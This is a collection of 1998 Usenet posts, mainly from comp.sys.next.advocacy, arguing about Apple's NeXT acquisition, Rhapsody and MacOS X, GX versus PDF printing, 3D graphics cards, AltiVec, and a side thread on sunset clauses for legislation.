look at the architecture diagrams for MacOS X and you'll see they're almost
exactly the Rhapsody architecture diagrams, with Carbon added. They may not
be calling Rhapsody, but just about everything that made Rhapsody Rhapsody is
in there. The one big exception is Display PostScript. Apple claims to be
replacing it with something better, and I'm not well-versed enough in the
technical aspects to judge whether that's true. In any case, this appears to
be primarily a royalty dispute with Adobe.
> If you're trying to say that they're the exact same thing, you're
> exactly right. DOS developers were out of luck, and Rhapsody developers
> are, too.
The Rhapsody developers on this group, and others I've corresponded with in
private, certainly don't seem to feel that way. They're by and large excited
that their Rhapsody-developed apps will be running on an OS that now (thanks
to Carbon) has a much larger chance of acceptance.
But of course you, in your all-knowing wisdom, know better than they do.
Stefano Pagiola spagiola@my-dejanews.com My opinions alone Longtime MacOS and
NeXTSTEP user, reluctant Windows 95/NT user, future Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
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From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: Fri, 19 Jun 1998 09:28:51 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <358A75A3.CF50528A@nstar.net>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <slrn6oih6d.k93.sal@panix3.panix.com> <6mbnr8$1uu$3@news.xmission.com <6mdae7$2d1$1@news.cs.tu-berlin.de>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 19 Jun 1998 14:33:51 GMT
Marcel Weiher wrote:
>
> Michael Peck <mjpeck@nstar.net> writes:
>
> >Would this person begin to stammer and argue around the issues? Would
> >he/she prefer to provide pat and misleading response? Would there be a
> >good reason that Apple isn't saying that MacOS X is Rhapsody?
>
> Read Alsop's column in Fortune (available on-line). If that doesn't
> answer your question, well...
Okay, read it. I have a question that's probably going to get me flamed
into oblivion. First, let me say that Alsop's smarmy, airheaded article
is one of the worst pieces of journalism I've seen in a long time. With
that said, here's the question: is Alsop right?
Honestly, did Apple need NeXT? Or, more appropriately, is there anything
Apple can do with NeXT? My question has nothing to do with the quality
of NEXTSTEP, and everything to do with wondering whether Apple and NeXT
have anything in common, after all.
Let's face it, the last three months have proven that what Apple's
customers *really* want are Apple technologies: a better MacOS, a
saleable Newton, a cheaper PowerBook, a modern Mac SE. Every applaudable
decision Jobs has made has been based on reverting to the old Apple.
Every stupid decision Jobs has made has been guilty of favoring NeXT too
far.
Whatever the ramifications, I'm beginning to wonder whether there is any
point to the NeXT acquisition, at all. It's clear that Mac users don't
want NCs, Cubes, OPENSTEP, Objective C, DPS, or anything else that
smacks of "somebody else's stuff". I don't applaud it, but that doesn't
matter.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: WebObjects spin-off rumor
Date: Fri, 19 Jun 1998 09:38:56 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <358A7800.C7D48C3B@nstar.net>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <6m0kg4$khs@nntp02.primenet.com> <6m13tr$ndd$4@ironhorse.plsys.co.uk> <6m1eq1$hkq@nntp02.primenet.com> <6m8k50$5mq$2@ironhorse.plsys.co.uk> <6ma6gv$akr$1@argentina.it.earthlink.net> <6mdklk$6qk$1@sun27.hrz.tu-darmstadt.de>
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Christian Neuss wrote:
> Well, I'm not supposed to tell you yet, but what the heck, so much has
> leaked out already, it doesn't really make a difference: Yes, Apple is
> going to drop WebObjects. This was part of the Apple-Microsoft deal
> last year. Actually, Apple will not only drop Rhapsody, WebObjects,
> but will go out of the software business altogether, and focus on
> being a hardware maker. MacOS X _really_ will be NT 5.0. The portable
> consumer device scheduled for spring 99 will run Windows CE, but come
> in a nice translucent case to differentiate it from the various PDAs
> from HP, Casio etc.
This would be funny if it didn't sound so desperate and frustrated.
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
now?)
Date: 19 Jun 1998 08:25:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AFD0DB-12562@206.165.43.105>
References: <6mdbda$5mq$3@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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mmalcolm crawford <malcolm@plsys.co.uk> said:
>We had a NEXTSTEP application which took a .ps file and allowed you to
>graphically select which pages you wanted to print, or print in (2-up if
you
>wanted) booklet form (sending all the backs to the printer first, then the
>fronts, so you could do duplex printing even if you didn't have a duplex
>printer). I keep saying we should upgrade it and port to Rhapsody -- how
>many people here would be interested in it if we did? (I've asked this
>before and had some positive responses, but not enough to make it
>worthwhile
><sigh>).
This is what is so annoying about the PS/PDF/whatever vs GX wars. It
weren't the DRIVER that controlled this on GX, 'twer *extensions* that
intercepted the print stream and did what you wanted.
With GX, you could write a simple extension that would grab every other
page and send it to a different printer if you wanted, or invert it or add
a 3D perspective or whatever. You MAY be able to do that with PDF, but
PDF's format isn't as easy to work with, programmatically, as GX.
Perhaps Apple will provide high-level routines that will make PDF as easy
to work with as GX print jobs, but that remains to be seen.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
now?)
Date: 19 Jun 1998 08:20:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AFCFBE-E281@206.165.43.105>
References: <j-jahnke-1906980251410001@dapple.tormenta.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Jerome Jahnke <j-jahnke@uchicago.edu> said:
>Now if the specs for PDF were indeed publically available and I could
>write my own little PDF printer I again would say Apple blows and it is
>all their fault. But to the best of my knowledge I am not allowed to know
>how PDF works, and as such, the world will not see my useful PDF printer.
PDF is publicly available. You can download it in Acrobat format from
Adobe's web-site, I believe. I've got a paper copy of 2.0 buried someplace.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: powerbooks too expensive???
Date: 19 Jun 1998 15:38:23 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ol1ff.7ec.sal@panix3.panix.com>
References: <macghod-1206981517220001@206.133.187.12> <01bd9951$02357360$c07498cf@edwint.rauland.com> <macghod-1606981303220001@206.133.187.73> <1dasruf.yvmeta5xz5ypN@pppsl518.chicagonet.net> <macghod-1806980142280001@sdn-ar-001casbarp295.dialsprint.net> <01bd9aed$4c1f7aa0$c07498cf@edwint.rauland.com> <slrn6ojoni.plc.sal@panix3.panix.com> <1daul49.wxuhrx1wimy47N@pppsl844.chicagonet.net>
On Fri, 19 Jun 1998 01:56:11 -0600, Edwin E. Thorne <ethorne@chicagonet.net> wrote:
>Salvatore Denaro <sal@panix3.panix.com> wrote:
>> Steve's point was that Apple had _no_ product in that price range, not
>> that the sub $1k PCs are all that good. And he was 100% right. Apple has
>Cost of acquisition is not the sole determining factor of the value of a
>computer.
I never said that it was, and AFAIK Steve never said it either. His point
was that Apple had no product in that price range.
> I feel that the Performa that I own represent a great
>consumer value.
Great. Now, do you think Apple should build Performa 6400's till the
end of the world, or should they try and build better machines?
>> Did you read any of the _dozens_ of posts he made when he had trouble
>> installing OpenStep/Mach on his machine? He is hardly a PC cheerleader
>> spreading FUD about the Mac.
>Yes, I read his posts. That doesn't change the fact that he bashed the
>Mac while advocating cheap PCs.
Prove it. Show me the posts. Forward me some quotes. From *all* of the
posts that I've seen, Steve has been saying that Apple lacked a product
in the $1k US range, not that cheap PCs are better than Macs.
--
sal@panix.com
Salvatore Denaro
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 19 Jun 1998 13:42:55 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <358e60c7.3384884@news.supernews.com>
References: <35809E8C.8E3F239A@nstar.net> <rmcassid-1206980004350001@dialin9229.slip.uci.edu> <358130D4.372EFBEB@nstar.net> <rmcassid-1206981443290001@dante.eng.uci.edu> <3581B5E4.27A5303B@nstar.net> <rmcassid-1306980235180001@dialin33422.slip.uci.edu> <rmcassid-1506981103570001@dante.eng.uci.edu> <35856fd0.0@news.depaul.edu> <rmcassid-1506981316410001@dante.eng.uci.edu> <35858DEB.5EE3F11E@nstar.net> <rmcassid-1506981504300001@dante.eng.uci.edu> <SCOTT.98Jun15161002@slave.doubleu.com>
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on the basic premise...
scott@doubleu.com (Scott Hess), on 15 Jun 98 16:10:02,
>In article <rmcassid-1506981504300001@dante.eng.uci.edu>,
> rmcassid@uci.edu (Robert Cassidy) writes:
> In article <35858DEB.5EE3F11E@nstar.net>,
> Michael Peck <mjpeck@nstar.net> wrote:
> >Robert Cassidy wrote:
> >> Consider if all bills were put forth with an expiration date. It
> >> would make those laws that were later deemed silly as irrelevant
> >> since it would expire without renewal... It would also force
> >> other bills to get an opportunity for review at regular
> >> intervals. Imagine if the tax codes had to be reapproved every
> >> 3-5 years...
> >
> >This is a really good idea, if it would apply to *all*
> >legislation, at both the state and federal levels.
The _last_ thing I'd want to see is a legislature that knows that,
despite their partisanship and lunacy, their actions will only be
"temporary". This would cause such idiocy in legislation that I doubt
our civilization could survive intact.
I agree wholeheartedly in the idea that too many laws makes our society
less efficient and effective. But have an "expiration date" on
legislation would simply encourage flakey laws, IMHO. Congress should
be well aware of the gravity of their charge. Of course, from the looks
of things, they don't anyway, so....
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 19 Jun 1998 09:29:38 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mdb22$i9a$2@ns3.vrx.net>
References: <6map2e$hpd$1@ns3.vrx.net> <B1AE9C85-2E635@206.165.43.66>
<6mb5tf$r26$1@ns3.vrx.net> <see-below-1806981709390001@dynamic23.pm07.mv.best.com>
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In <see-below-1806981709390001@dynamic23.pm07.mv.best.com> Matthew Vaughan
claimed:
> Actually, it just physically switches the signal from the 2D input to its
> own 3D output. You could still have your 2D and 3D on separate displays.
> (on Quake, for instance, I think it gives you a std out window, which will
> display an error message if it crashes, and you can still switch to the
> finder and other applications. I think you can do this now on one monitor
> with the 2d/3d Swap extension.)
Ok, I may have been thinking of the RUSH again. I was talking to the
Orchid people, and they said that RUSH is dead, but "something new" will soon
replace it - again on an incompatible format and API. Sigh.
However last night I was on Tom's Hardware again and noticed that the
latest Millineum actually comes VERY close to the performance of the Voodoo
II even with beta drivers! They also said it had much better looking output
(always a halmark of the Matrox products) and that unlike the current
generation the Millineum and Mystique will likely be bundle differences
rather than any physical difference in the card. Better yet the _list_ price
on the "top end" card is a mere $239CDN, over $100 less than the average
Voodoo here in TO!
So I think that solves my problem right there. The performance is better
than the Voodoo, which is what I was going to get, but trounces the i740 and
RIVA based products (even the new RIVA ZX betas). And it's also 2D/3D in a
single AGP slot.
> Yes, this is true. But it's about the only way I can think of for a
> 3D-only card, without sending all the video data back over the PCI bus
> again, twice. (once from the 3Dfx card, then again back into the 2D card)
Which is the common solution to date, like the current Matrox 3D card for
instance.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 19 Jun 1998 09:22:40 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mdal0$i9a$1@ns3.vrx.net>
References: <6mb61h$r26$2@ns3.vrx.net> <B1AF0625-224F9@206.165.43.108>
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Cc: english@primenet.com
In <B1AF0625-224F9@206.165.43.108> "Lawson English" claimed:
> The subject, I think, was games. FP usage in games would *probably* benefit
> more from AltaVec than from a 50% faster overall FP unit. You'd have to
> test to be sure, of course.
Well here's my logic...
a) apps are almost always written to the lowest common denominator, that is
they tend not to make use of processor specific functions because the
compilers make it too hard. Thus the poor use of MMX, and in the (distant)
past, fp on the Mac.
b) the mitigating factor in this regard is libraries. As long as the vendor
is good about using their own abilities (Apple's track record is 50-50 in
this area) then you should see advantages in those libraries.
c) the problem is that the time games spend in the libraries other than QT,
QD or QD3D (etc) is likely small.
So I think my logic isn't too far off. More to the point I don't believe
that AV's FP performance on a _single_ float or double is likely to be better
than the fp unit's (obviously, or they'd remove the fp side). Thus unless
the AV is at least 50% as fast as the fp unit in terms of double processing,
fp is going to be slower in AV than fp. In fact I think it's almost
certainly the case - or again, they'd remove the fp.
The long and short of it is that in general better fp is going to help,
whereas better AV _may_ help. The ratio of the time you spend in "either
side" will define which one will help you more. I'll put bucks on the fp
side for some time into the future.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 19 Jun 1998 09:33:35 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mdb9f$i9a$3@ns3.vrx.net>
References: <6mb67f$r26$3@ns3.vrx.net> <B1AF0570-1FA72@206.165.43.108>
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Cc: english@primenet.com
In <B1AF0570-1FA72@206.165.43.108> "Lawson English" claimed:
> That one IS faster than Bresenham's generic algorithm (and the faster
> variations mentions would obviously be faster still).
That wasn't really my point, my point is that you were asking a silly
question.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: 3D card in iMac cartidge!!! (Was Re: Games and the consumer market.
Date: 19 Jun 1998 09:36:20 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mdbek$i9a$4@ns3.vrx.net>
References: <35896c04.0@news.depaul.edu> <B1AF07E7-28EC6@206.165.43.108>
<forrestDELETE-THIS!-1806982212230001@term2-13.vta.west.net>
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Cc: forrestDELETE-THIS!@west.net
In <forrestDELETE-THIS!-1806982212230001@term2-13.vta.west.net> Forrest
Cameranesi claimed:
> Doesn't anyone remember my suggestion ages back for a modular computer? (I
> think the thread was "The Future of Computing" or some such). It was
> basically the above, but taken further. *Every* internal component would
> be like a cartridge,
You can't really do that. Electrically it's a problem, and the cost of
doing this is VERY high.
Maury
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: Fri, 19 Jun 1998 09:36:51 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <358A7783.74B303E6@nstar.net>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net>
<6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com>
<6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com>
<6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com>
<6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com>
<slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com>
<slrn6oih6d.k93.sal@panix3.panix.com> <6mbnr8$1uu$3@news.xmission.com>
<6mc51u$sih$1@nnrp1.dejanews.com> <3589A742.96EEFF47@nstar.net> <6mdf3l$5mq$4@ironhorse.plsys.co.uk>
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NNTP-Posting-Date: 19 Jun 1998 14:41:51 GMT
mmalcolm crawford wrote:
[cut]
> > Would this person begin to stammer and argue around the issues? Would
> > he/she prefer to provide pat and misleading response? Would there be a
> > good reason that Apple isn't saying that MacOS X is Rhapsody?
> >
> Yes: PR. I thought this had been made abundantly clear.
What's been made abundantly clear is that "PR" is the official
unofficial explanation imputed to the facts by your point of view. You
couldn't make that clearer if you offered to make a bet on it. The
problem is that PR or no, Apple has made absolutely zero committment,
explicit or otherwise, to "Rhapsody" as a composite technology.
If you think that this is something different for Apple, you're
obviously new in town. For some odd reason, you seem to believe that
Apple's committment to "Rhapsody" is somehow different from its
committment to QuickDraw GX, or QuickDraw 3D, or Newton. "You can't
prove it to me, they haven't said it's dead." Forget the classic pattern
of silence, backing away, no committment, then a quiet annnouncement
that the product has been "put into maintenance mode". We even had
"inside track" testimonials until the end that each of the above were
scheduled for vigorous funding.
But no, I'm sure it's different this time. Just because it's so obvious
to you.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: Fri, 19 Jun 1998 09:47:07 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <358A79EB.8C8776DC@nstar.net>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6majra$hjq$1@suriname.it.earthlink.net> <6mbmnc$1uu$2@news.xmission.com> <35897A0E.2CF1E720@nstar.net> <6mbvqu$jmk@newsb.netnews.att.com> <358987E3.3499F024@nstar.net> <6mdnhk$tie$1@nnrp1.dejanews.com>
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NNTP-Posting-Date: 19 Jun 1998 14:52:07 GMT
spagiola@my-dejanews.com wrote:
> Fine. Microsoft denied, loud and clear that W95 had DOS underpinnings. Since
> they clearly lied, I'm not sure what the lesson you're taking from this is.
The truth of the statement has nothing to do with the comparison. It's
not even relevant, since the Apple assertion isn't a provable fact. The
point of the comparison is to demonstrate what it means to the company's
committments. I'm not sure what lesson *YOU* are taking from it, except
to reinforce your repetitive mantra: "We are the good guys, they are the
bad guys. We are the good guys, they are the bad guys..."
> Now Apple is stressing the continuity of its OS development efforts with the
> old MacOS rather than stressing the parts that are new (Yellow Box etc).
Sort of a "Back to the Future", I guess. After having stolen Gil "The
Snail" Amelio's thunder by stepping up the migration pace, alienating
millions of users but apparently not caring (oh, what panache), you're
telling me that Jobs is *retreating* back to the original MacOS-friendly
position? Oh, well done, well done, indeed.
What galls me is not that Jobs is doing what he obviously must. What
galls me is that you seem to applaud the entire course of history
involved.
> But
> look at the architecture diagrams for MacOS X and you'll see they're almost
> exactly the Rhapsody architecture diagrams, with Carbon added. They may not
> be calling Rhapsody, but just about everything that made Rhapsody Rhapsody is
> in there. The one big exception is Display PostScript. Apple claims to be
> replacing it with something better, and I'm not well-versed enough in the
> technical aspects to judge whether that's true. In any case, this appears to
> be primarily a royalty dispute with Adobe.
Again, the claim has backed off from "It's OPENSTEP with a MacOS GUI" to
"they're almost exactly the Rhapsody architecture diagrams", not even a
mention of OPENSTEP anymore. Since nobody even knows what "Rhapsody" is,
I'm struck by how nebulous this whole line of argument has become.
The new operating system may be substantially OPENSTEP-based.
> The Rhapsody developers on this group, and others I've corresponded with in
> private, certainly don't seem to feel that way. They're by and large excited
> that their Rhapsody-developed apps will be running on an OS that now (thanks
> to Carbon) has a much larger chance of acceptance.
>
> But of course you, in your all-knowing wisdom, know better than they do.
Obviously.
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 19 Jun 1998 09:15:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AFDC7E-3E188@206.165.43.105>
References: <6mdb9f$i9a$3@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B1AF0570-1FA72@206.165.43.108> "Lawson English" claimed:
>> That one IS faster than Bresenham's generic algorithm (and the faster
>> variations mentions would obviously be faster still).
>
> That wasn't really my point, my point is that you were asking a silly
>question.
No I wasn't. I was trying to point out that special-casing for a simpler
case would always show performance gains over using the generic algorithm
whether it be for horizontal/vertical/45-degree lines in a line-drawing
algorithm or for quadratic Beziers in a Bezier-drawing algorithm.
And hence, quadratic Beziers are a better fit for multi-media than cubic
Beziers, because they are inherently faster (may be wrong, of course, but
no-one has furnished proof of this).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 19 Jun 1998 16:53:21 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ol5s1.evf.sal@panix3.panix.com>
References: <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <slrn6oih6d.k93.sal@panix3.panix.com> <6mbnr8$1uu$3@news.xmission.com <6mdae7$2d1$1@news.cs.tu-berlin.de> <358A75A3.CF50528A@nstar.net>
On Fri, 19 Jun 1998 09:28:51 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>Honestly, did Apple need NeXT? Or, more appropriately, is there anything
>Apple can do with NeXT?
Two things come to mind:
1) Ship a version of MacOS with modern OS features
2) EOF, WO and other enterprise tools that are lacking on MacOS
>Let's face it, the last three months have proven that what Apple's
>customers *really* want are Apple technologies: a better MacOS,
Would they have gotten it if it weren't for Rhapsody's OS core?
>Whatever the ramifications, I'm beginning to wonder whether there is any
>point to the NeXT acquisition, at all. It's clear that Mac users don't
>want NCs, Cubes, OPENSTEP, Objective C, DPS, or anything else that
>smacks of "somebody else's stuff". I don't applaud it, but that doesn't
>matter.
They need to sell to more than just current Mac users. You've stated
as much in other posts.
--
sal@panix.com
Salvatore Denaro
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: Fri, 19 Jun 1998 10:00:32 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1906981000320001@dante.eng.uci.edu>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <slrn6oih6d.k93.sal@panix3.panix.com> <6mdae7$2d1$1@news.cs.tu-berlin.de> <358A75A3.CF50528A@nstar.net>
In article <358A75A3.CF50528A@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
>Honestly, did Apple need NeXT? Or, more appropriately, is there anything
>Apple can do with NeXT? My question has nothing to do with the quality
>of NEXTSTEP, and everything to do with wondering whether Apple and NeXT
>have anything in common, after all.
It's a good question that we should be asking all along here. In one
sense, I'd say that the acquisition of NeXT has had a very favorable
effect on Apple if only in the quality of people that came on board. Apple
has never shipped OSes in as timely a fashion. We've never been able to
have so many discussions with management as we can now. The hardware has
never been so, understandable. Overall, that is all very good. And looking
at what will be in 8.5 - I get a *very* strong sense that Apple has a real
clue when it comes to delivering what users and managers need. It's mostly
reflected in changes or additions that address a lot of the: "You know
what would really make doing XXX a lot faster and easier..." statements
that we've made.
>Let's face it, the last three months have proven that what Apple's
>customers *really* want are Apple technologies: a better MacOS, a
>saleable Newton, a cheaper PowerBook, a modern Mac SE. Every applaudable
>decision Jobs has made has been based on reverting to the old Apple.
>Every stupid decision Jobs has made has been guilty of favoring NeXT too
>far.
Well, we've not really begun to see the full effects of NeXTs
introduction. I, for one, never would have touched OpenStep or WO before.
And there are a lot more like me - how many I don't know.
We don't know that what customers really want are Apple technologies. We
_do_ know that customers can't live without their Apple technologies,
however. Nobody was really clamoring _that_ much for what NeXT
specifically had to offer (buzzword compliance could have come from a
number of places) but that doesn't mean that once those pieces are
delivered, that Apple people won't find them to be valuable and necessary.
It's a case that many people don't ask for something because they don't
know that it is possible to deliver it. Sometimes you need to walk up to
users and say "this is possible, are you interested?". NeXT might have
that kind of effect, but not as soon as we might have wanted.
>Whatever the ramifications, I'm beginning to wonder whether there is any
>point to the NeXT acquisition, at all. It's clear that Mac users don't
>want NCs,
I think a *lot* of Mac users want NCs, but NCs done right. If the iMac is
net bootable and the CD replacable with a Zip, I imagine we might buy a
whole lot of em - it's very close to the kind of NC that we are interested
in.
Cubes, OPENSTEP, Objective C, DPS, or anything else that
>smacks of "somebody else's stuff". I don't applaud it, but that doesn't
>matter.
I think there is some stuff in or dervied from YB that will soon spark the
Mac community into action. WO is very exciting, and logically from that
comes interest in EOF and YB. It just going to take time, exposure, and
*examples*. People need to come along and say "Hey, we just solved this
nearly impossible problem thanks to Apple's YB framework...".
But it needs to come from the Mac community, unfortunately. The Mac
community is generally so overly defensive after years of being criticized
and evangelized from the Wintel world that we tend to only be really open
to our own kind. *That* is why Mac users seem so fanatical. If you want to
talk to a Mac person - don't try to convert them. *Don't* tell them that
they are stupid or foolish or wasting their time. Most of us have spent
more time than we care to admit researching and dealing with our choices
and we'll shut you out instantly. Know that in 4 seconds you aren't going
to shed some new life on our universe. We *know* that Apple represents a
trade-off, but so does Wintel however few Wintel people realize it. So if
you are selling something new, address it from the perspective that we
can't to give up what we have, so it'll have to integrate. That's what
MacOS X does.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 19 Jun 1998 10:37:09 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1906981037100001@dante.eng.uci.edu>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <rmcassid-1206980004350001@dialin9229.slip.uci.edu> <358130D4.372EFBEB@nstar.net> <rmcassid-1206981443290001@dante.eng.uci.edu> <3581B5E4.27A5303B@nstar.net> <rmcassid-1306980235180001@dialin33422.slip.uci.edu> <rmcassid-1506981103570001@dante.eng.uci.edu> <35856fd0.0@news.depaul.edu> <rmcassid-1506981316410001@dante.eng.uci.edu> <35858DEB.5EE3F11E@nstar.net> <rmcassid-1506981504300001@dante.eng.uci.edu> <SCOTT.98Jun15161002@slave.doubleu.com>
In article <SCOTT.98Jun15161002@slave.doubleu.com>, scott@doubleu.com
(Scott Hess) wrote:
>In article <rmcassid-1506981504300001@dante.eng.uci.edu>,
> rmcassid@uci.edu (Robert Cassidy) writes:
> In article <35858DEB.5EE3F11E@nstar.net>,
> Michael Peck <mjpeck@nstar.net> wrote:
> >It would inspire more involvement in the legislative process on
> >the part of citizens, and would force all elected officials to
> >take a public stand one way or the other on every piece of
> >legislation under consideration.
>
> Yep.
>
>Why? I mean, how would it improve the precision of their "stand" over
>how things currently are? Put another way, can you recall how your
>representative stood on any recent vote?
No, it wouldn't have that kind of effect. Instead it would likely serve to
give a greater public representation over time by giving the appearance of
the users having more representatives than they do. Each time an incumbent
fell, the legislation that he or she may have voted on due to political
influence would be re-voted on by a new person with new influences. It
would have an averaging effect over time. Furthermore, *every* political
officer would have to take a stand on nearly every issue - not just in a
shake-your-hand, vote-for-me sense, but on the record in Congress as well.
Everybody claims they want to reform the IRS, but how often do
representatives have to vote to *keep* the IRS? They would have to in this
case. They'd have to vote to keep Welfare. To keep Social Security. To
keep Medicare and Medicaid. To keep all of these things.
> Choose your battles wisely. Don't make laws unless you are willing
> to maintain them.
>
>Better than that - don't make laws unless you are willing to _enforce_
>them. Because any law passed but not enforced is a law taking up time
>you could otherwise have spent on a law you would want to enforce.
You'd likely get the same effect because there would *have* to be fewer,
simpler, broader laws. The legislators wouldn't be able to keep up with
the loopholes and special interest clauses as we have it now. It should be
easier to enforce fewer, simpler laws.
>My thought is that this can go further. Restrict congress to meeting
>3 months out of the year, and have a quota on the number of laws that
